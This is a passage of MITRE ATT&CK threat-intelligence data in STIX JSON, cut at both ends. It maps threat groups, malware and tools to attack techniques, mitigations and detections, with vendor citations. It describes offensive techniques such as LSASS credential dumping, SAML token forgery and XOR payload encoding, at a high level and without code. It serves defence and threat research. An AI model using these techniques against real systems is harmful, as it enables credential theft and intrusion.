2019)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a371d1a1-29aa-4d11-bad4-d11866171c6c","created":"2022-02-01T15:08:45.254Z","x_mitre_version":"1.0","external_references":[{"source_name":"AADInternals Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) can be used to create SAML tokens using the AD Federated Services token signing certificate.(Citation: AADInternals Documentation)","modified":"2022-04-13T14:20:53.276Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a3742518-c231-4492-9673-95e095badddf","created":"2024-07-25T20:41:34.414Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:41:34.414Z","description":"[MgBot](https://attack.mitre.org/software/S1146) includes modules for performing ARP scans of local connected systems.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3839408-eef4-4099-89c0-fc52ac55e650","type":"relationship","created":"2020-01-17T16:51:52.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-17T16:51:52.291Z","relationship_type":"revoked-by","source_ref":"attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a3849766-140d-4dc0-86ca-1e3ad38c15b5","created":"2023-04-04T22:23:07.721Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T22:23:07.721Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can collect the username from a compromised host.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3881772-b2f3-475f-ad5c-628593a8de74","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor executed commands and arguments that may abuse time providers to execute DLLs when the system boots.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a38af2cc-ccc7-41aa-936c-fe15a13ddafa","type":"relationship","created":"2020-06-12T16:15:04.914Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2020-06-12T16:15:04.914Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) has masqueraded as a JPG image file.(Citation: Eset Ramsay May 2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a38bce09-385d-44b0-91a4-307ee5d328c3","type":"relationship","created":"2021-10-01T01:57:31.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT TeamTNT Chimaera September 2020","url":"https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera","description":"AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021."}],"modified":"2021-10-12T18:18:25.427Z","description":"(Citation: ATT TeamTNT Chimaera September 2020)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a38efb2d-3014-4196-b936-326a9a65ee83","created":"2022-09-02T19:44:05.199Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T19:44:05.199Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has used [Nltest](https://attack.mitre.org/software/S0359) to obtain information about domain controllers.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a391b999-a7f9-439d-bed5-0a0a13bb6f7d","type":"relationship","created":"2021-04-20T20:05:51.766Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearkSky Fox Kitten February 2020","url":"https://www.clearskysec.com/fox-kitten/","description":"ClearSky. (2020, February 16). Fox Kitten – Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020."},{"source_name":"Check Point Pay2Key November 2020","url":"https://research.checkpoint.com/2020/ransomware-alert-pay2key/","description":"Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}],"modified":"2021-04-20T20:05:51.766Z","description":"(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a392aa7e-b3ce-477c-acfc-e0f6b1d38556","type":"relationship","created":"2020-03-27T20:48:50.996Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","source_name":"ESET Gazer Aug 2017"},{"url":"https://securelist.com/introducing-whitebear/81638/","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.","source_name":"Securelist WhiteBear Aug 2017"}],"modified":"2020-03-27T20:48:50.996Z","description":"[Gazer](https://attack.mitre.org/software/S0168) uses custom encryption for C2 that uses 3DES.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a3932823-51c8-402d-a7a7-ee31882fc48a","created":"2022-02-01T15:08:45.230Z","x_mitre_version":"1.0","external_references":[{"source_name":"AADInternals Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."},{"source_name":"Azure AD Recon","url":"https://o365blog.com/post/just-looking","description":"Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved February 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) can gather information about a tenant’s domains using public Microsoft APIs.(Citation: AADInternals Documentation)(Citation: Azure AD Recon)","modified":"2022-04-13T14:21:39.357Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a3985a50-df7f-489f-a033-1a6b6e41382e","created":"2024-03-01T15:49:15.521Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T15:49:15.521Z","description":"Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3990ec1-b4bb-43dd-b7d8-51bd3cb7e1c7","type":"relationship","created":"2021-03-25T14:00:54.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Google Election Threats October 2020","url":"https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/","description":"Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021."},{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-04-20T13:38:26.423Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has spoofed legitimate applications in phishing lures and changed file extensions to conceal installation of malware.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a39bea46-92a8-49cf-ae3f-d78f4d3f23cf","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2019-09-09T19:12:32.907Z","description":"(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"malware--53d47b09-09c2-4015-8d37-6633ecd53f79","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a3a13b78-f599-4635-8750-2603bf18b370","created":"2023-03-08T20:11:46.593Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-08T20:11:46.593Z","description":"Remove unnecessary tools and software from containers.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a3a4fbbe-3559-4333-8285-732a3dfa0460","created":"2022-08-08T19:33:02.925Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Microsoft POLONIUM June 2022)","modified":"2022-08-08T19:33:02.925Z","relationship_type":"uses","source_ref":"intrusion-set--5f3d0238-d058-44a9-8812-3dd1b6741a8c","target_ref":"malware--d23de441-f9cf-4802-b1ff-f588a11a896b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a3a64ecb-572b-4dc3-b95f-8b46be7b857a","created":"2024-08-27T18:49:35.318Z","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-27T18:49:35.318Z","description":"[Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) intercepted and harvested credentials from user logins to compromised devices.(Citation: Lumen Versa 2024)","relationship_type":"uses","source_ref":"campaign--af0ec65a-caa9-40ef-b1c7-21b71fbf3a10","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3a7d091-49bb-4fd1-9442-d02e83a48ea1","type":"relationship","created":"2019-06-05T13:50:11.204Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos MuddyWater May 2019","url":"https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html","description":"Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019."}],"modified":"2019-06-28T15:30:59.030Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used one C2 to obtain enumeration scripts and monitor web logs, but a different C2 to send data back.(Citation: Talos MuddyWater May 2019) ","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3a89546-f4fe-47f6-9109-89f6fa5af151","type":"relationship","created":"2021-02-12T20:07:43.106Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dragos EKANS","url":"https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/","description":"Dragos. (2020, February 3). EKANS Ransomware and ICS Operations. Retrieved February 9, 2021."},{"source_name":"FireEye Ransomware Feb 2020","url":"https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html","description":"Zafra, D., et al. (2020, February 24). Ransomware Against the Machine: How Adversaries are Learning to Disrupt Industrial Production by Targeting IT and OT. Retrieved March 2, 2021."},{"source_name":"Palo Alto Unit 42 EKANS","url":"https://unit42.paloaltonetworks.com/threat-assessment-ekans-ransomware/","description":"Hinchliffe, A. Santos, D. (2020, June 26). Threat Assessment: EKANS Ransomware. Retrieved February 9, 2021."}],"modified":"2021-05-04T18:06:34.417Z","description":"[EKANS](https://attack.mitre.org/software/S0605) stops database, data backup solution, antivirus, and ICS-related processes.(Citation: Dragos EKANS)(Citation: FireEye Ransomware Feb 2020)(Citation: Palo Alto Unit 42 EKANS)","relationship_type":"uses","source_ref":"malware--00e7d565-9883-4ee5-b642-8fd17fd6a3f5","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3a8c9e7-ed71-46c9-aa1f-c609406652b0","type":"relationship","created":"2021-12-13T23:21:46.498Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-04T13:57:16.892Z","description":"Azure AD Administrators apply limitations upon the ability for users to grant consent to unfamiliar or unverified third-party applications. ","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a3aa78fe-28c9-44e8-a0a3-0f84c087b5e0","created":"2021-04-07T14:29:47.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.842Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use RSA asymmetric encryption with PKCS1 padding to encrypt data sent to the C2 server.(Citation: Talos Cobalt Strike September 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a3b40306-fafa-47e6-9164-fbd75e04b645","created":"2022-09-29T20:18:19.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:31:00.384Z","description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors encoded some payloads with a single-byte XOR, both skipping the key itself and zeroing in an attempt to avoid exposing the key; other payloads were Base64-encoded.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3b44434-d499-4c30-b42d-7bb0f6b4bfc4","type":"relationship","created":"2020-10-27T19:26:38.558Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-10-27T19:26:38.558Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has lured victims into executing malicious macros embedded within Microsoft Office documents.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3b4a3e9-2552-43dc-957a-5c7f64fac9f1","type":"relationship","created":"2020-12-29T15:57:12.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T15:57:12.451Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used prodump to dump credentials from LSASS.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3bdd37c-f82c-4df3-94f8-63495466565c","type":"relationship","created":"2020-05-08T19:27:12.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."}],"modified":"2020-05-20T20:43:50.155Z","description":"[PowerShower](https://attack.mitre.org/software/S0441) has sent HTTP GET and POST requests to C2 servers to send information and receive instructions.(Citation: Unit 42 Inception November 2018)","relationship_type":"uses","source_ref":"malware--53486bc7-7748-4716-8190-e4f1fde04c53","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3d2ef4a-2bca-482d-897b-99da14b16b52","type":"relationship","created":"2020-05-26T16:17:59.484Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-05-26T16:17:59.484Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) can detect a running process's PID on the infected machine.(Citation: Anomali Rocke March 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3d44c1d-2833-4355-b560-2a7a4fcaac14","type":"relationship","created":"2019-01-30T18:58:04.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"}],"modified":"2019-04-22T19:48:08.884Z","description":"[Cannon](https://attack.mitre.org/software/S0351) can collect the current time zone information from the victim’s machine.(Citation: Unit42 Cannon Nov 2018)","relationship_type":"uses","source_ref":"malware--d20b397a-ea47-48a9-b503-2e2a3551e11d","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a3d4b793-b11a-4d6d-9a72-8c592a1eb834","created":"2024-10-08T13:28:24.833Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T13:28:24.833Z","description":"Implement strict user account management policies to prevent unnecessary accounts from accessing sensitive systems. Regularly audit user accounts to identify and disable inactive accounts that may be targeted by attackers to extract credentials or gain unauthorized 